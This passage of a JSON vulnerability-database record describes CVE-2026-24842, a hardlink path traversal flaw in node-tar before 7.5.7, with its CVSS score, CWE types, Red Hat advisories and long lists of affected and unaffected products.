"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24842.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33371"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:18480"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:18868"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:2900"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:6192"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:5447"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:33371: Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server"
},
{
"lang": "en",
"value": "RHSA-2026:18480: Red Hat Enterprise Linux AppStream (v. 10)"
},
{
"lang": "en",
"value": "RHSA-2026:18868: Red Hat Enterprise Linux AppStream (v. 9)"
},
{
"lang": "en",
"value": "RHSA-2026:2900: Network Observability (NETOBSERV) 1.11.2"
},
{
"lang": "en",
"value": "RHSA-2026:6192: Red Hat OpenShift Dev Spaces 3.27"
},
{
"lang": "en",
"value": "RHSA-2026:5447: Red Hat Trusted Artifact Signer 1.3"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-01-28T01:01:16.886Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-01-28T00:20:13.261Z",
"value": "Made public."
}
],
"title": "node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check",
"workarounds": [
{
"lang": "en",
"value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability."
}
],
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "node-tar",
"vendor": "isaacs",
"versions": [
{
"status": "affected",
"version": "\u003c 7.5.7"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-59",
"description": "CWE-59: Improper Link Resolution Before File Access (\u0027Link Following\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-28T00:20:13.261Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v"
},
{
"name": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46"
}
],
"source": {
"advisory": "GHSA-34x7-hfp2-rc4v",
"discovery": "UNKNOWN"
},
"title": "node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-24842",
"datePublished": "2026-01-28T00:20:13.261Z",
"dateReserved": "2026-01-27T14:51:03.059Z",
"dateUpdated": "2026-07-20T12:04:56.380Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-24842",
"date": "2026-07-22",
"epss": "0.00541",
"percentile": "0.42153"
},
"nvd": "{\"cve\":{\"id\":\"CVE-2026-24842\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-01-28T01:16:14.947\",\"lastModified\":\"2026-07-15T02:18:51.517\",\"vulnStatus\":\"Modified\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue.\"},{\"lang\":\"es\",\"value\":\"node-tar, un Tar para Node.js, contiene una vulnerabilidad en versiones anteriores a la 7.5.7 donde la comprobaci\u00f3n de seguridad para las entradas de enlaces duros utiliza sem\u00e1nticas de resoluci\u00f3n de rutas diferentes a la l\u00f3gica real de creaci\u00f3n de enlaces duros. Esta discrepancia permite a un atacante crear un archivo TAR malicioso que omite las protecciones de salto de ruta y crea enlaces duros a archivos arbitrarios fuera del directorio de extracci\u00f3n. La versi\u00f3n 7.5.7 contiene una soluci\u00f3n para el problema.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"isaacs\",\"product\":\"node-tar\",\"versions\":[{\"version\":\"\u003c 7.5.7\",\"status\":\"affected\"}]}]},{\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\",\"affectedData\":[{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 10\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"linux-sgx\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:10.2\"],\"versions\":[{\"version\":\"0:2.26-7.el10\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 9\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"linux-sgx\",\"cpes\":[\"cpe:/a:redhat:enterprise_linux:9\"],\"versions\":[{\"version\":\"0:2.26-7.el9\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"eap7-wildfly\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform_eus:7.3::el7\"],\"versions\":[{\"version\":\"0:7.3.18-3.GA_redhat_00001.1.el7eap\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Network Observability (NETOBSERV) 1.11.2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"network-observability/network-observability-console-plugin-compat-rhel9\",\"cpes\":[\"cpe:/a:redhat:network_observ_optr:1.11::el9\"],\"versions\":[{\"version\":\"1771227610\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Network Observability (NETOBSERV) 1.11.2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"network-observability/network-observability-console-plugin-rhel9\",\"cpes\":[\"cpe:/a:redhat:network_observ_optr:1.11::el9\"],\"versions\":[{\"version\":\"1771227650\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Dev Spaces 3.27\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"devspaces/code-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_devspaces:3.27::el9\"],\"versions\":[{\"version\":\"1774448966\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Dev Spaces 3.27\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"devspaces/dashboard-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_devspaces:3.27::el9\"],\"versions\":[{\"version\":\"1774476526\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Trusted Artifact Signer 1.3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://catalog.redhat.com/software/containers/\",\"packageName\":\"rhtas/rekor-search-ui-rhel9\",\"cpes\":[\"cpe:/a:redhat:trusted_artifact_signer:1.3::el9\"],\"versions\":[{\"version\":\"1773308315\",\"lessThan\":\"*\",\"versionType\":\"rpm\",\"status\":\"unaffected\"}]},{\"vendor\":\"Red Hat\",\"product\":\"Cryostat 4\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"io.cryostat-cryostat\",\"cpes\":[\"cpe:/a:redhat:cryostat:4\"]},{\"vendor\":\"Red Hat\",\"product\":\"Logging Subsystem for Red Hat OpenShift\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-logging/elasticsearch6-rhel9\",\"cpes\":[\"cpe:/a:redhat:logging:5\"]},{\"vendor\":\"Red Hat\",\"product\":\"Logging Subsystem for Red Hat OpenShift\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-logging/elasticsearch-operator-bundle\",\"cpes\":[\"cpe:/a:redhat:logging:5\"]},{\"vendor\":\"Red Hat\",\"product\":\"Logging Subsystem for Red Hat OpenShift\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-logging/elasticsearch-proxy-rhel9\",\"cpes\":[\"cpe:/a:redhat:logging:5\"]},{\"vendor\":\"Red Hat\",\"product\":\"Logging Subsystem for Red Hat OpenShift\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-logging/elasticsearch-rhel9-operator\",\"cpes\":[\"cpe:/a:redhat:logging:5\"]},{\"vendor\":\"Red Hat\",\"product\":\"Logging Subsystem for Red Hat OpenShift\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-logging/kibana6-rhel8\",\"cpes\":[\"cpe:/a:redhat:logging:5\"]},{\"vendor\":\"Red Hat\",\"product\":\"Logging Subsystem for Red Hat OpenShift\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift-logging/logging-curator5-rhel9\",\"cpes\":[\"cpe:/a:redhat:logging:5\"]},{\"vendor\":\"Red Hat\",\"product\":\"Multicluster Engine for Kubernetes\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"multicluster-engine/console-mce-rhel8\",\"cpes\":[\"cpe:/a:redhat:multicluster_engine\"]},{\"vendor\":\"Red Hat\",\"product\":\"Multicluster Engine for Kubernetes\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"multicluster-engine/console-mce-rhel9\",\"cpes\":[\"cpe:/a:redhat:multicluster_engine\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat 3scale API Management Platform 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"3scale-amp20/system\",\"cpes\":[\"cpe:/a:redhat:red_hat_3scale_amp:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat 3scale API Management Platform 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"3scale-amp21/system\",\"cpes\":[\"cpe:/a:redhat:red_hat_3scale_amp:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat 3scale API Management Platform 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"3scale-amp22/system\",\"cpes\":[\"cpe:/a:redhat:red_hat_3scale_amp:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat 3scale API Management Platform 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"3scale-amp24/system\",\"cpes\":[\"cpe:/a:redhat:red_hat_3scale_amp:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat 3scale API Management Platform 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"3scale-amp25/system\",\"cpes\":[\"cpe:/a:redhat:red_hat_3scale_amp:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat 3scale API Management Platform 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"3scale-amp26/system\",\"cpes\":[\"cpe:/a:redhat:red_hat_3scale_amp:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat 3scale API Management Platform 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"3scale-amp2/system-rhel7\",\"cpes\":[\"cpe:/a:redhat:red_hat_3scale_amp:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat 3scale API Management Platform 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"3scale-amp2/system-rhel8\",\"cpes\":[\"cpe:/a:redhat:red_hat_3scale_amp:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat 3scale API Management Platform 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"3scale-amp2/system-rhel9\",\"cpes\":[\"cpe:/a:redhat:red_hat_3scale_amp:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Advanced Cluster Management for Kubernetes 2\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhacm2/console-rhel9\",\"cpes\":[\"cpe:/a:redhat:acm:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Advanced Cluster Management for Kubernetes 2\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhacm2/volsync-operator-bundle\",\"cpes\":[\"cpe:/a:redhat:acm:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Advanced Cluster Management for Kubernetes 2\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhacm2/volsync-rhel9\",\"cpes\":[\"cpe:/a:redhat:acm:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat AMQ Broker 7\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"org.jolokia-jolokia-parent\",\"cpes\":[\"cpe:/a:redhat:amq_broker:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Apache Camel - HawtIO 4\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"io.hawt-project\",\"cpes\":[\"cpe:/a:redhat:apache_camel_hawtio:4\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Developer Hub\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhdh/rhdh-hub-rhel9\",\"cpes\":[\"cpe:/a:redhat:rhdh:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 10\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"nodejs22\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:10\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 10\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"nodejs24\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:10\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 10\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"tar\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:10\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 6\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"tar\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:6\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 7\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"tar\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 8\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"grafana\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:8\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 8\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"mozjs60\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:8\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 8\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"nodejs:20/nodejs\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:8\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 8\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"nodejs:22/nodejs\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:8\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 8\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"nodejs:24/nodejs\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:8\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 8\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"tar\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:8\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 9\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"gjs\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:9\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 9\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"grafana\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:9\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 9\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"nodejs:20/nodejs\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:9\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 9\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"nodejs:22/nodejs\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:9\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 9\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"nodejs:24/nodejs\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:9\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 9\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"polkit\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:9\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 9\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"tar\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:9\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Fuse 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"io.apicurio-apicurito\",\"cpes\":[\"cpe:/a:redhat:jboss_fuse:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Fuse 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"io.hawt-hawtio-online\",\"cpes\":[\"cpe:/a:redhat:jboss_fuse:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Fuse 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"io.hawt-project\",\"cpes\":[\"cpe:/a:redhat:jboss_fuse:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Fuse 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"io.syndesis-syndesis-parent\",\"cpes\":[\"cpe:/a:redhat:jboss_fuse:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Hardened Images\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"tar\",\"cpes\":[\"cpe:/a:redhat:hummingbird:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"io.hawt-project\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 7\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"org.jboss.hal-hal-parent\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 8\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"io.hawt-project\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform:8\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform 8\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"org.keycloak-keycloak-parent\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_application_platform:8\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform Expansion Pack\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"io.hawt-project\",\"cpes\":[\"cpe:/a:redhat:jbosseapxp\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat JBoss Enterprise Application Platform Expansion Pack\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"org.keycloak-keycloak-parent\",\"cpes\":[\"cpe:/a:redhat:jbosseapxp\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-data-science-pipelines-argo-argoexec-rhel8\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-data-science-pipelines-argo-workflowcontroller-rhel8\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-kf-notebook-controller-rhel8\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-notebook-controller-rhel8\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Container Platform 4\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift4/ose-console-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift:4\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Container Platform 4\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhcos\",\"cpes\":[\"cpe:/a:redhat:openshift:4\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Openshift Data Foundation 4\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"odf4/mcg-core-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_data_foundation:4\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Openshift Data Foundation 4\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"odf4/ocs-client-console-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_data_foundation:4\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Openshift Data Foundation 4\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"odf4/odf-console-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_data_foundation:4\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Openshift Data Foundation 4\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"odf4/odf-multicluster-console-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_data_foundation:4\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Dev Spaces\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"devspaces/code-sshd-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_devspaces:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Dev Spaces\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"devspaces/machineexec-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_devspaces:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Process Automation 7\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"org.kie.workbench-kie-wb-common\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_bpms_platform:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Process Automation 